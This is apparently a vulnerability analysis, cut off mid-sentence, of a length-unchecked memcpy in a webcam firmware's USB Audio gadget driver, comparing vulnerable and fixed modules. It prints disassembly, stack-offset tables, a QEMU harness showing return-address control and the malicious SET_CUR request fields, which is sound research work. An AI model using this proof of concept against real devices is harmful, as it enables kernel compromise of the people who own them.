Preface
I have been looking at a kernel bug in camera firmware. The vulnerable firmware is 1.0.0. The fixed firmware is 1.0.1.
In the shipping usb_f_uac1.ko from 1.0.0, f_audio_complete hands the length supplied by the host straight to memcpy. The destination is only 4 bytes on the stack. We cut those instructions out unchanged and ran them under QEMU user mode: a 32-byte payload of 0x41 changes the return address to 0x41414140. The function of the same name in 1.0.1 checks the actual length of Mute / Volume. On a mismatch it stalls, and the stack stays put.
The full-system run had two steps. A Thumb-2 kernel boots in QEMU, and dummy_hcd registers, but the first return from a system call into user mode leaves the CPU in ARM state. Thumb instructions are decoded wrong, and user mode never comes up. We later switched to an ARM kernel and added a Thumb veneer in the module loader. All three shipping modules insmod, the gadget bind returns 0, and the host starts enumerating. Enumeration stops while reading the device descriptor, at error -32: g_audio_setup reads offset 964 of the vendor struct snd_card, and that offset is not the same data in the mainline kernel. The malicious SET_CUR never reaches f_audio_complete.
SHA-256 of the two modules:
- 1.0.0
usb_f_uac1.ko:e1c3a622a78d878d2d22e5b30df7be68b62abc110815b3f344e4d7b4146bxxxx - 1.0.1
usb_f_uac1.ko:8333a2dcf0f78f3e927a9e79dee4ce60eaee519a69071fead79638a2dd41xxxx
Where the bug is in the source
The control-request completion callback of the legacy USB Audio Class 1 gadget lives in f_uac1.c from Linux 4.9.84. f_audio_complete() is written like this:
static void f_audio_complete(struct usb_ep *ep, struct usb_request *req) { struct f_audio *audio = req->context; int status = req->status; u32 data = 0; struct usb_ep *out_ep = audio->out_ep; switch (status) { case 0: /* normal completion? */ if (ep == out_ep) f_audio_out_ep_complete(ep, req); else if (audio->set_con) { memcpy(&data, req->buf, req->length); audio->set_con->set(audio->set_con, audio->set_cmd, le16_to_cpu(data)); audio->set_con = NULL; } break; default: break; } } data is only 4 bytes. req->length comes from the host. A UAC1 Feature Unit is only allowed to write two controls:
| Selector | Value | Expected length |
|---|---|---|
| Mute | 1 | 1 byte |
| Volume | 2 | 2 bytes |
Nothing here compares req->actual with 1 or 2. The later le16_to_cpu(data) reads only the low 16 bits. The out-of-bounds write has already happened.
The request is installed from audio_set_intf_req(). It finds set_con by entity id and control selector, sets the completion callback to f_audio_complete, and returns the host's wLength unchanged:
static int audio_set_intf_req(struct usb_function *f, const struct usb_ctrlrequest *ctrl) { struct f_audio *audio = func_to_audio(f); struct usb_composite_dev *cdev = f->config->cdev; struct usb_request *req = cdev->req; u8 id = ((le16_to_cpu(ctrl->wIndex) >> 8) & 0xFF); u16 len = le16_to_cpu(ctrl->wLength); u16 w_value = le16_to_cpu(ctrl->wValue); u8 con_sel = (w_value >> 8) & 0xFF; u8 cmd = (ctrl->bRequest & 0x0F); struct usb_audio_control_selector *cs; struct usb_audio_control *con; list_for_each_entry(cs, &audio->cs, list) { if (cs->id == id) { list_for_each_entry(con, &cs->control, list) { if (con->type == con_sel) { audio->set_con = con; break; } } break; } } audio->set_cmd = cmd; req->context = audio; req->complete = f_audio_complete; return len; } Endpoint zero receives data according to that return value. When the host writes a large wLength, req->buf holds more bytes, and the memcpy above grows with it.
The upstream fix is commit 6e0e34d85cd46ceb37d16054e97a373a32770f6c (usb: gadget: f_uac1_legacy: validate control request size). Mute accepts only 1 byte, Volume accepts only 2 bytes, both checked with req->actual. Anything else stalls:
switch (type) { case UAC_FU_MUTE: { u8 value; if (req->actual == sizeof(value)) { memcpy(&value, req->buf, sizeof(value)); data = value; valid_request = true; } break; } case UAC_FU_VOLUME: { __le16 value; if (req->actual == sizeof(value)) { memcpy(&value, req->buf, sizeof(value)); data = le16_to_cpu(value); valid_request = true; } break; } } if (valid_request) con->set(con, audio->set_cmd, data); else usb_ep_set_halt(ep); The vendor module is built on its own. A commit landing in mainline is not evidence that the firmware has it. What follows is based on the shipping disassembly.
The same code in the shipping module
In 1.0.0, f_audio_complete is at .text+0xa8 and is 50 bytes long. The symbol value is 0xa9. The low bit is the Thumb marker, so the instructions start at 0xa8.
000000a8 <f_audio_complete>: a8: b573 push {r0, r1, r4, r5, r6, lr} aa: 2300 movs r3, #0 ac: 6b8e ldr r6, [r1, #56] ; req->status ae: 6acc ldr r4, [r1, #44] ; req->context b0: 9301 str r3, [sp, #4] ; u32 data = 0 b2: b986 cbnz r6, d6 b4: f8d4 50cc ldr.w r5, [r4, #204] ; audio->set_con b8: b16d cbz r5, d6 ba: e9d1 1200 ldrd r1, r2, [r1] ; req->buf, req->length be: a801 add r0, sp, #4 ; &data c0: f7ff fffe bl memcpy c4: 6a6b ldr r3, [r5, #36] ; con->set c6: 4628 mov r0, r5 c8: f8bd 2004 ldrh.w r2, [sp, #4] cc: f894 10c4 ldrb.w r1, [r4, #196] ; audio->set_cmd d0: 4798 blx r3 d2: f8c4 60cc str.w r6, [r4, #204] d6: b002 add sp, #8 d8: bd70 pop {r4, r5, r6, pc} 0xba loads the buffer and the length together, and 0xc0 calls memcpy. Nothing in between compares the length with 1 or 2, and nothing stalls. The function ends by popping r4, r5, r6, and pc off the stack. The module has no __stack_chk_fail. This function has no canary. Changing the return address does not require a leak first.
After push {r0, r1, r4, r5, r6, lr}, the low addresses are, in order, the saved r0, r1, r4, r5, r6, and lr. str r3, [sp, #4] puts the 4-byte local in the slot that held the saved r1. add r0, sp, #4 is where memcpy starts. Relative to that start:
| Payload offset | Stack location | What is overwritten |
|---|---|---|
| 0 .. 3 | sp+4 | the 4-byte local |
| 4 .. 7 | sp+8 | saved r4 |
| 8 .. 11 | sp+12 | saved r5 |
| 12 .. 15 | sp+16 | saved r6 |
| 16 .. 19 | sp+20 | saved lr, the return address |
The length has to reach 8, 12, 16, and 20 before those four slots are filled. The measurements later match this table.
The 1.0.1 function still starts at 0xa8, but it is 70 bytes. The next symbol, f_audio_setup, is at 0xee. It looks at the control type first, then at req->actual. A mismatch calls usb_ep_set_halt. A match reads only 1 byte or 2 bytes:
000000a8 <f_audio_complete>: a8: b538 push {r3, r4, r5, lr} aa: 6b8b ldr r3, [r1, #56] ; req->status b6: 7b1a ldrb r2, [r3, #12] ; con->type b8: 2a01 cmp r2, #1 ba: d004 beq.n c6 bc: 2a02 cmp r2, #2 be: d010 beq.n e2 c0: bl usb_ep_set_halt c6: 6bca ldr r2, [r1, #60] ; req->actual c8: 2a01 cmp r2, #1 ca: d1f9 bne.n c0 cc: 680a ldr r2, [r1, #0] ce: 7812 ldrb r2, [r2, #0] e2: 6bca ldr r2, [r1, #60] e4: 2a02 cmp r2, #2 e6: d1eb bne.n c0 e8: 680a ldr r2, [r1, #0] ea: 8812 ldrh r2, [r2, #0] Both firmware versions load this module from their init scripts, and both turn legacy UAC1 on with uac_function_enable=2:
insmod /lib/modules/4.9.84/usb_f_uac1.ko insmod /lib/modules/4.9.84/usb_f_uvc.ko insmod /lib/modules/4.9.84/g_webcam.ko idVendor=0x17ef idProduct=0x4839 \ iSerialNumber=145081A8 streaming_maxpacket=3072 streaming_maxburst=13 \ uvc_function_enable=2 uac_function_enable=2 p_srate=16000 p_mpsize=192 The difference is the contents of the module. Legacy UAC1 stays enabled in both.
The request struct is 12 bytes larger than mainline
The shipping instructions read struct usb_request at fixed offsets:
| Instruction | Offset | Field |
|---|---|---|
ldrd r1, r2, [r1] | 0 / 4 | buf, length |
ldr r4, [r1, #44] | 44 | context |
ldr r6, [r1, #56] | 56 | status |
ldr r2, [r1, #60] | 60 | actual (1.0.1 compares the length against this) |
Laid out with the ARM EABI, mainline 4.9.84 puts those fields at 32 / 44 / 48, which does not match. After a 12-byte reserved area is added in front of the complete function pointer, the three offsets line up and the struct is 64 bytes. The program below checks that.
#include <stddef.h> #include <stdio.h> struct list_head { struct list_head *next, *prev; }; typedef void (*complete_fn)(void *ep, void *req); struct usb_request_mainline { void *buf; unsigned length; unsigned dma; void *sg; unsigned num_sgs; unsigned num_mapped_sgs; unsigned stream_id:16; unsigned no_interrupt:1; unsigned zero:1; unsigned short_not_ok:1; complete_fn complete; void *context; struct list_head list; int status; unsigned actual; }; struct usb_request_vendor { void *buf; unsigned length; unsigned dma; void *sg; unsigned num_sgs; unsigned num_mapped_sgs; unsigned stream_id:16; unsigned no_interrupt:1; unsigned zero:1; unsigned short_not_ok:1; unsigned reserved[3]; complete_fn complete; void *context; struct list_head list; int status; unsigned actual; }; static int check(const char *tag, size_t ctx, size_t st, size_t act, size_t sz) { int ok = (ctx == 44 && st == 56 && act == 60); printf("%-10s context=%-3zu status=%-3zu actual=%-3zu size=%-3zu %s\n", tag, ctx, st, act, sz, ok ? "matches shipping module" : "mismatch"); return ok; } int main(void) { printf("shipping module requires: context=44 status=56 actual=60\n\n"); check("mainline", offsetof(struct usb_request_mainline, context), offsetof(struct usb_request_mainline, status), offsetof(struct usb_request_mainline, actual), sizeof(struct usb_request_mainline)); int ok = check("vendor", offsetof(struct usb_request_vendor, context), offsetof(struct usb_request_vendor, status), offsetof(struct usb_request_vendor, actual), sizeof(struct usb_request_vendor)); return ok ? 0 : 1; } arm-linux-gnueabihf-gcc -static -o layout_check layout_check.c qemu-arm ./layout_check shipping module requires: context=44 status=56 actual=60 mainline context=32 status=44 actual=48 size=52 mismatch vendor context=44 status=56 actual=60 size=64 matches shipping module The shipping module is compiled against the vendor's modified kernel ABI. Dropping it into a mainline kernel whose struct was left unchanged reads the wrong fields.
The audio and control offsets come from the same disassembly: set_cmd is at audio+196, set_con is at audio+204, type is at con+12, and the set callback is at con+36.
Running the shipping instructions
.text in both modules starts at file offset 0x58. The function is at offset 0xa8 inside the section. The 1.0.0 slice is 50 bytes. The 1.0.1 slice is 70 bytes. The SHA-256 values of the slices are:
- 1.0.0:
4ee0948f824f5b054c912fde345a7f6bebde1c3f840311df6d0509f924dfca09 - 1.0.1:
b896f492fdfba285aecb67b1fd4cc76671885354399e1c284bba1eeb1d6f5097
# 1.0.0 dd if=usb_f_uac1.ko of=f491.bin bs=1 skip=$((0x58+0xa8)) count=50 # 1.0.1 dd if=usb_f_uac1.ko of=f493.bin bs=1 skip=$((0x58+0xa8)) count=70 The function has one external call, at slice offset 0x18, with relocation type R_ARM_THM_CALL. In 1.0.0 it points at memcpy. In 1.0.1 it points at usb_ep_set_halt. Every other byte stays as it shipped. The runner retargets only that one BL at a local stub, because the kernel symbols inside the module do not exist in a user-mode program.
The description prepared for 1.0.0 is:
{ "offset": 168, "size": 50, "sha256": "4ee0948f824f5b054c912fde345a7f6bebde1c3f840311df6d0509f924dfca09", "external_calls": [ { "off": 24, "type": 10, "symbol": "memcpy" } ] } For 1.0.1, size becomes 70, symbol becomes usb_ep_set_halt, and the hash is the one above. offset is decimal, so 0xa8 is 168. off is decimal, so 0x18 is 24.
The runner is below. The machine code sits in the program's own data page because a Thumb BL only reaches about ±16 MB, and an mmap at a high address cannot reach the stub. The entry address is OR-ed with 1. Otherwise the CPU decodes the Thumb bytes in ARM state.
#include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <unistd.h> #include <sys/mman.h> #define OFF_REQ_BUF 0 #define OFF_REQ_LENGTH 4 #define OFF_REQ_CONTEXT 44 #define OFF_REQ_STATUS 56 #define OFF_REQ_ACTUAL 60 #define REQ_SIZE 64 #define OFF_AUDIO_SET_CMD 196 #define OFF_AUDIO_SET_CON 204 #define AUDIO_SIZE 208 #define OFF_CON_TYPE 12 #define OFF_CON_SET 36 #define CON_SIZE 40 #define UAC_FU_VOLUME 2 static volatile int g_memcpy_called; static volatile unsigned g_memcpy_len; static volatile int g_halt_called; static volatile int g_set_called; static volatile uint32_t g_set_value; void harness_memcpy(void *dst, const void *src, unsigned n) { g_memcpy_called = 1; g_memcpy_len = n; memcpy(dst, src, n); } int harness_set_halt(void *ep, int value) { (void)ep; (void)value; g_halt_called = 1; return 0; } static void fake_con_set(void *con, unsigned char cmd, uint32_t data) { (void)con; (void)cmd; g_set_called = 1; g_set_value = data; } typedef struct { int off; char symbol[64]; } call_t; typedef struct { unsigned offset, size; char sha256[80]; call_t calls[8]; int ncalls; } meta_t; static int load_meta(const char *path, meta_t *m) { FILE *f = fopen(path, "r"); if (!f) return -1; char buf[8192]; size_t n = fread(buf, 1, sizeof(buf) - 1, f); fclose(f); buf[n] = 0; memset(m, 0, sizeof(*m)); char *p; if ((p = strstr(buf, "\"offset\""))) m->offset = (unsigned)strtoul(p + 9, NULL, 0); if ((p = strstr(buf, "\"size\""))) m->size = (unsigned)strtoul(p + 7, NULL, 0); if ((p = strstr(buf, "\"sha256\""))) sscanf(p + 9, " \"%79[0-9a-f]", m->sha256); if ((p = strstr(buf, "\"external_calls\""))) { while (m->ncalls < 8) { char *o = strstr(p, "\"off\""); char *s = strstr(p, "\"symbol\""); if (!o || !s) break; m->calls[m->ncalls].off = (int)strtoul(o + 6, NULL, 0); sscanf(s + 9, " \"%63[^\"]", m->calls[m->ncalls].symbol); m->ncalls++; p = s + 9; } } return 0; } volatile uint32_t g_out_r4, g_out_r5, g_out_r6; static unsigned char g_code_page[4096] __attribute__((aligned(4096))); extern void run_guest(void *fn, void *req); __asm__( ".syntax unified\n" ".text\n" ".arm\n" ".global run_guest\n" ".type run_guest, %function\n" "run_guest:\n" " push {r4-r11, lr}\n" " mov r4, r0\n" " mov r5, r1\n" " mov r0, r5\n" " mov r1, r5\n" " blx r4\n" " ldr r7, =g_out_r4\n" " str r4, [r7]\n" " ldr r7, =g_out_r5\n" " str r5, [r7]\n" " ldr r7, =g_out_r6\n" " str r6, [r7]\n" " pop {r4-r11, pc}\n" ".ltorg\n" ".size run_guest, .-run_guest\n" ); static uint32_t g_wlen; static char g_mode[16]; static void fault_handler(int sig, siginfo_t *si, void *ctx) { (void)sig; (void)ctx; uint32_t addr = (uint32_t)(uintptr_t)si->si_addr; printf("RESULT wlen=%u mode=%s verdict=FAULT fault_addr=%#010x " "memcpy_called=%d memcpy_len=%u halt_called=%d\n", g_wlen, g_mode, addr, g_memcpy_called, g_memcpy_len, g_halt_called); fflush(stdout); _exit(0); } int main(int argc, char **argv) { if (argc < 4) { fprintf(stderr, "usage: %s <blob.bin> <meta.json> <wLength> [readme]\n", argv[0]); return 2; } const char *blobpath = argv[1]; const char *metapath = argv[2]; unsigned wlen = (unsigned)strtoul(argv[3], NULL, 0); int readme_mode = (argc > 4 && strcmp(argv[4], "readme") == 0); g_wlen = wlen; snprintf(g_mode, sizeof(g_mode), "%s", readme_mode ? "readme" : "slots"); meta_t meta; if (load_meta(metapath, &meta) != 0) { fprintf(stderr, "cannot read metadata %s\n", metapath); return 2; } FILE *f = fopen(blobpath, "rb"); if (!f) { perror("blob"); return 2; } size_t got = fread(g_code_page, 1, sizeof(g_code_page), f); fclose(f); if (got != meta.size) { fprintf(stderr, "blob size mismatch: read %zu, metadata %u\n", got, meta.size); return 2; } if (mprotect((void *)((uintptr_t)g_code_page & ~(uintptr_t)0xfff), 4096, PROT_READ | PROT_WRITE | PROT_EXEC) != 0) { perror("mprotect"); return 2; } unsigned char *code = g_code_page; uintptr_t fn = (uintptr_t)code | 1; /* Thumb BL: the low 16 bits are the halfword that runs first, 11110 S imm10. * The high 16 bits are 11 J1 1 J2 imm11. I1 = ~(J1 ^ S), I2 = ~(J2 ^ S). */ for (int i = 0; i < meta.ncalls; i++) { int off = meta.calls[i].off; uint32_t insn; memcpy(&insn, code + off, 4); uint32_t hw1 = insn & 0xffff; uint32_t hw2 = (insn >> 16) & 0xffff; if ((hw1 & 0xf800) != 0xf000 || (hw2 & 0xd000) != 0xd000) { fprintf(stderr, "blob+%#x is not a Thumb BL: %#010x\n", off, insn); return 3; } void *stub = NULL; if (!strcmp(meta.calls[i].symbol, "memcpy")) stub = harness_memcpy; else if (!strcmp(meta.calls[i].symbol, "usb_ep_set_halt")) stub = harness_set_halt; if (!stub) { fprintf(stderr, "unknown external call %s\n", meta.calls[i].symbol); return 3; } uint32_t here = (uint32_t)(uintptr_t)(code + off); int32_t rel = (int32_t)((uint32_t)(uintptr_t)stub - (here + 4)); uint32_t s = (uint32_t)rel; uint32_t S = (s >> 24) & 1; uint32_t I1 = (s >> 23) & 1; uint32_t I2 = (s >> 22) & 1; uint32_t J1 = (~(I1 ^ S)) & 1; uint32_t J2 = (~(I2 ^ S)) & 1; uint32_t imm10 = (s >> 12) & 0x3ff; uint32_t imm11 = (s >> 1) & 0x7ff; uint32_t nhw1 = 0xf000 | (S << 10) | imm10; uint32_t nhw2 = 0xd000 | (J1 << 13) | (J2 << 11) | imm11; uint32_t newinsn = (nhw2 << 16) | nhw1; memcpy(code + off, &newinsn, 4); uint32_t back_imm = ((newinsn & 0x7ff) << 12) | (((newinsn >> 16) & 0x7ff) << 1); if (back_imm & 0x400000) back_imm |= 0xff800000; uint32_t back_target = here + 4 + back_imm; if (back_target != ((uint32_t)(uintptr_t)stub & ~1u)) { fprintf(stderr, "relocation read-back does not match\n"); return 3; } } __builtin___clear_cache((char *)code, (char *)code + 4096); static unsigned char req[REQ_SIZE] __attribute__((aligned(8))); static unsigned char audio[AUDIO_SIZE] __attribute__((aligned(8))); static unsigned char con[CON_SIZE] __attribute__((aligned(8))); memset(req, 0, sizeof(req)); memset(audio, 0, sizeof(audio)); memset(con, 0, sizeof(con)); unsigned char *payload = calloc(1, wlen ? wlen : 1); if (readme_mode) { memset(payload, 0x41, wlen); } else { memset(payload, 0x41, wlen); const uint32_t mark_r4 = 0x4a4a4a4a; const uint32_t mark_r5 = 0x4b4b4b4b; const uint32_t mark_r6 = 0x4c4c4c4c; const uint32_t mark_pc = 0x4d4d4d4d; const struct { unsigned off; uint32_t val; } slots[] = { { 0x04, mark_r4 }, { 0x08, mark_r5 }, { 0x0c, mark_r6 }, { 0x10, mark_pc }, }; for (unsigned i = 0; i < 4; i++) if (slots[i].off + 4 <= wlen) memcpy(payload + slots[i].off, &slots[i].val, 4); } unsigned char ctype = UAC_FU_VOLUME; memcpy(con + OFF_CON_TYPE, &ctype, 1); void *setptr = (void *)fake_con_set; void *audioptr = audio; void *conptr = con; int status = 0; unsigned actual = wlen; memcpy(req + OFF_REQ_BUF, &payload, sizeof(payload)); memcpy(req + OFF_REQ_LENGTH, &wlen, sizeof(wlen)); memcpy(req + OFF_REQ_CONTEXT, &audioptr, sizeof(audioptr)); memcpy(req + OFF_REQ_STATUS, &status, sizeof(status)); memcpy(req + OFF_REQ_ACTUAL, &actual, sizeof(actual)); unsigned char cmd = 0x01; memcpy(audio + OFF_AUDIO_SET_CMD, &cmd, 1); memcpy(audio + OFF_AUDIO_SET_CON, &conptr, sizeof(conptr)); memcpy(con + OFF_CON_SET, &setptr, sizeof(setptr)); struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = fault_handler; sa.sa_flags = SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); sigaction(SIGILL, &sa, NULL); run_guest((void *)fn, req); printf("RESULT wlen=%u mode=%s verdict=RETURN saved_r4=%#010x saved_r5=%#010x " "saved_r6=%#010x memcpy_called=%d memcpy_len=%u halt_called=%d " "set_called=%d set_value=%#06x\n", wlen, g_mode, g_out_r4, g_out_r5, g_out_r6, g_memcpy_called, g_memcpy_len, g_halt_called, g_set_called, g_set_value); return 0; } arm-linux-gnueabihf-gcc -O1 -static -o call call.c qemu-arm ./call f491.bin f491.json 32 qemu-arm ./call f491.bin f491.json 32 readme When the last argument is left off, the payload places 0x4a4a4a4a, 0x4b4b4b4b, 0x4c4c4c4c, and 0x4d4d4d4d at offsets 4, 8, 12, and 16, so the overwritten slot can be seen. Adding readme fills the whole buffer with 0x41.
Length scan for 1.0.0:
| wLength | Result | Saved r4 | Saved r5 | Saved r6 |
|---|---|---|---|---|
| 1 | normal return | unchanged | unchanged | — |
| 4 | normal return | unchanged | unchanged | — |
| 5 | normal return | low byte written as 0x41 | unchanged | — |
| 8 | normal return | 0x4a4a4a4a | unchanged | — |
| 12 | normal return | 0x4a4a4a4a | 0x4b4b4b4b | — |
| 16 | normal return | 0x4a4a4a4a | 0x4b4b4b4b | 0x4c4c4c4c |
| 20, and also 24, 28, 32, 64, 316 | instruction-fetch fault | — | — | — |
From 20 bytes on, the fault address is 0x4d4d4d4c. The return address written was 0x4d4d4d4d. The low bit is the Thumb state bit, and the CPU clears it before taking the branch.
The run with 32 bytes of 0x41:
RESULT wlen=32 mode=readme verdict=FAULT fault_addr=0x41414140 memcpy_called=1 memcpy_len=32 halt_called=0 memcpy was called, and the length was the 32 supplied by the host. Return address 0x41414141 becomes the branch target 0x41414140.
The same payloads against the 70-byte slice from 1.0.1:
| wLength | memcpy called | r4 on the stack | Stall |
|---|---|---|---|
| 1 | no | unchanged | yes |
| 2 | no | unchanged | no; this is the length Volume should have |
| 3 through 316 (tested 3, 4, 5, 8, 12, 16, 18, 20, 24, 32, 64, 316) | no | unchanged | yes |
Only the 2-byte case is kept, and it uses a fixed-length read, with no memcpy. Every other length goes into usb_ep_set_halt. Saved registers stay as they were, and execution does not branch to an attacker-controlled address.
Running it in a full system
The slice only shows that the shipping instructions themselves write out of bounds. Next I wanted an unmodified .ko inside a real 4.9.84, and then a USB control transfer that reaches f_audio_complete.
The shipping module's vermagic is:
4.9.84 SMP preempt mod_unload ARMv7 thumb2 p2v8 There is a trailing space. The kernel counts that space when it compares. sizeof(struct module) has to be 0x200, the same length as .gnu.linkonce.this_module in the module. The module is Thumb-2, and the BL relocation is R_ARM_THM_CALL (type 10). The 4.9 module loader keeps that case inside CONFIG_THUMB2_KERNEL. An ARM kernel reports unknown relocation: 10 immediately. The kernel therefore has to be built Thumb-2. Switching the instruction set to ARM just so it boots does not work.
The kernel was built against these options:
CONFIG_SMP=y CONFIG_PREEMPT=y CONFIG_THUMB2_KERNEL=y CONFIG_ARM_PATCH_PHYS_VIRT=y # CONFIG_ARM_MODULE_PLTS is not set # CONFIG_MODVERSIONS is not set CONFIG_MODULE_FORCE_LOAD=y CONFIG_CC_STACKPROTECTOR_REGULAR=y CONFIG_DEBUG_SPINLOCK=y CONFIG_CONFIGFS_FS=y CONFIG_SND=y CONFIG_SND_PCM=y CONFIG_USB=y CONFIG_USB_GADGET=y CONFIG_USB_DUMMY_HCD=y CONFIG_SERIAL_AMBA_PL011=y CONFIG_SERIAL_AMBA_PL011_CONSOLE=y CONFIG_DEVTMPFS=y CONFIG_KALLSYMS=y CONFIG_KALLSYMS_ALL=y MODVERSIONS has to be off. The shipping modules have no __versions section. ARM_MODULE_PLTS has to be off. The shipping modules have no PLT section, and turning it on reports module PLT section(s) missing. STACKPROTECTOR and DEBUG_SPINLOCK are on because the modules reference __stack_chk_guard, __stack_chk_fail, and __raw_spin_lock_init. The vendor kernel had both of those on when it built the modules. dummy_hcd lets one virtual machine act as USB host and USB device at the same time.
Built with that config, a module from this tree has a vermagic string identical to the shipping string, character for character, and struct module is 0x200. The shipping libcomposite.ko, u_audio.ko, and usb_f_uac1.ko have 103 undefined symbols between them. The kernel and the three modules resolve one another.
Building 4.9.84 as Thumb-2 with a new toolchain, the run of msr cpsr inside cpu_init fetches from address 0 after the switch to FIQ. We replaced the instructions that set the per-mode stacks with a short function in ARM state. The logic is unchanged: set the stack pointer for IRQ, Abort, Undefined, and FIQ, then return to SVC. After that change the kernel boots.
QEMU uses the virt machine. vexpress-a15 does not provide a device tree to a 4.9 kernel, so the serial port never comes up. The command that was actually used:
qemu-system-arm \ -M virt,secure=off,highmem=off \ -cpu cortex-a15 -m 512M \ -kernel zImage \ -initrd initramfs.cpio.gz \ -append "console=ttyAMA0 rdinit=/init loglevel=7" \ -display none -audio none \ -serial file:console.log \ -no-reboot secure=off is there because the CPU otherwise stops in EL3, and a mode switch then takes a prefetch abort. highmem=off is there because this kernel uses a 2G/2G virtual split, so RAM has to sit in the low 2GB. virt accepts only cortex-a7, cortex-a15, and max. Serial output goes to a file. Pointed at standard output, it often shows nothing. -audio none skips the init failure when the host has no sound card.
The distro QEMU is 10.2.1. Another build was made from the 10.0.0 sources, with only arm-softmmu:
tar xf qemu-10.0.0.tar.xz cd qemu-10.0.0 ./configure --target-list=arm-softmmu --disable-docs --disable-tools --disable-werror ninja -C build qemu-system-arm Both versions, and all three CPUs, fail to bring user mode up in the same way.
Inside the guest the factory boot order is used. The only change is that the modules are the three whose vermagic already matches. No module written for this experiment was inserted into the kernel. init does the following:
mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs dev /dev mkdir -p /sys/kernel/config mount -t configfs none /sys/kernel/config insmod /opt/shipped/libcomposite.ko insmod /opt/shipped/u_audio.ko insmod /opt/shipped/usb_f_uac1.ko G=/sys/kernel/config/usb_gadget/webcam mkdir -p $G/strings/0x409 echo 0x17ef > $G/idVendor echo 0x4839 > $G/idProduct echo 0x0200 > $G/bcdUSB echo Lenovo > $G/strings/0x409/manufacturer echo "510 FHD Webcam" > $G/strings/0x409/product mkdir -p $G/configs/c.1/strings/0x409 echo UAC1 > $G/configs/c.1/strings/0x409/configuration mkdir -p $G/functions/uac1.usb0 ln -s $G/functions/uac1.usb0 $G/configs/c.1/ echo dummy_udc.0 > $G/UDC The malicious request goes through usbfs USBDEVFS_SUBMITURB, endpoint 0, a control transfer:
bmRequestType = 0x21 OUT | CLASS | INTERFACE bRequest = 0x01 SET_CUR wValue = 0x0200 Volume wIndex = 0x0504 interface 4, entity 5 wLength = length supplied by the host The data stage follows the 8-byte setup packet. dummy_hcd carries that packet from the host side into the gadget.
The serial log of this boot shows:
Linux version 4.9.84 ... #5 SMP PREEMPT ... ... dummy_hcd ... Freeing unused kernel memory: 1024K The kernel finished initializing, and the host controller is present. After that there is no bind record for dummy_udc, and there is no SET_CUR or f_audio_complete. The process dies on the first return from brk into user mode:
Unhandled prefetch abort: unknown 1 (0x001) at 0x801062e2 Internal error: : 1 [#1] PREEMPT SMP THUMB2 CPU: 0 PID: 519 Comm: modprobe PC is at ret_fast_syscall+0x2/0x5e LR is at SyS_brk+0x105/0x11c Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Modules linked in: The line says ISA ARM, but this path is Thumb code in a Thumb-2 kernel. The CPU reads halfwords such as f8d9 1000 with the ARM decoder and reports an undefined instruction. Modules linked in is empty. No shipping module was running yet.
Over the same interval, QEMU's interrupt log counted 2473 IRQs, 12 prefetch aborts, and 2508 exceptions in total. User mode never went further, so the gadget was never configured.
Two other things turned up during boot. They are separate from this failure. After cpu_init switched to FIQ, instruction fetch failed. Once the stacks were set from ARM state, the kernel could reach Freeing unused kernel memory. In dummy_hcd, mod_timer(..., jiffies) floods interrupts under slow emulation. Stretching the re-arm interval to 5 to 10 jiffies dropped the IRQ count from nearly ten thousand to the number above. User mode still could not return. The Thumb encoding of cpsid also clears the T bit when it writes CPSR, the same class of behavior as the ret_fast_syscall site.
A Thumb-2 kernel that brings user mode up on its own still has to handle this return. We stopped changing that path and used an ARM kernel to load the shipping modules.
Loading Thumb modules with an ARM kernel
The shipping modules are Thumb-2, and every call they make into the kernel uses R_ARM_THM_CALL. 4.9 keeps that relocation under CONFIG_THUMB2_KERNEL. An ARM kernel reports unknown relocation: 10 straight away. Once that branch is filled in, two problems remain. A Thumb BL can land only on a Thumb address, and it cannot reach far.
CONFIG_PAGE_OFFSET = 0x80000000, VMSPLIT_2G module area = PAGE_OFFSET - 16MB = 0x7f000000 memcpy = 0x8036a040 distance = about 20MB Thumb BL range = ±16MB The workaround is an 8-byte veneer:
ldr.w pc, [pc, #0] @ f8df f000 .word target @ absolute address of the target ldr.w pc looks at the low bit of the target. 0 enters ARM state. 1 enters Thumb state. Checked once on its own:
arm_target = 0x10354 bit0=0 thumb_veneer = 0x1035d bit0=1 thumb_caller(1) = 101 The instructions are these two:
0001035c <thumb_veneer>: 1035c: f8df f000 ldr.w pc, [pc] 10360: 00010354 .word 0x00010354 Three places in the module loader changed. The first moves R_AR...